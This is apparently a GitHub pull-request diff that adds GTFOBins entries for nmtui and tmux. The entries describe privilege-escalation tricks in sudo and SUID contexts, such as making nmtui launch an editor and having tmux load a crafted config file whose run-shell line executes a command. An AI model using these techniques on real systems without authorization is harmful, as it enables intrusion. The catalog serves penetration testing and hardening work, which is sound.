Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 12 additions & 0 deletions _gtfobins/nmtui
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
---
functions:
inherit:
- code: |-
EDITOR=vi nmtui
comment: |-
Navigate to "Edit a connection", select "Add", choose "Team", then select "Edit" under JSON configuration to invoke the editor. `VISUAL` takes precedence over `EDITOR` when both are set and can be used instead.
contexts:
sudo:
suid:
from: vi
...
31 changes: 31 additions & 0 deletions _gtfobins/tmux
Original file line number Diff line number Diff line change
@@ -1,5 +1,36 @@
---
functions:
command:
- blind: true
code: |-
echo 'run-shell "/path/to/command"' >/path/to/temp-file.conf
tmux -f /path/to/temp-file.conf
contexts:
sudo:
suid:
shell: true
- blind: true
code: |-
mkdir -p /path/to/temp-dir
echo 'run-shell "/path/to/command"' >/path/to/temp-dir/.tmux.conf
HOME=/path/to/temp-dir tmux
comment: |-
If the `HOME` directory is already writable, the file can be placed directly as `~/.tmux.conf` without overriding `HOME`. The `HOME` environment variable must be passed to the privileged process.
contexts:
sudo:
suid:
shell: true
- blind: true
code: |-
mkdir -p /path/to/temp-dir/tmux
echo 'run-shell "/path/to/command"' >/path/to/temp-dir/tmux/tmux.conf
XDG_CONFIG_HOME=/path/to/temp-dir tmux
comment: |-
The `XDG_CONFIG_HOME` environment variable must be passed to the privileged process.
contexts:
sudo:
suid:
shell: true
file-read:
- binary: false
code: |-
Expand Down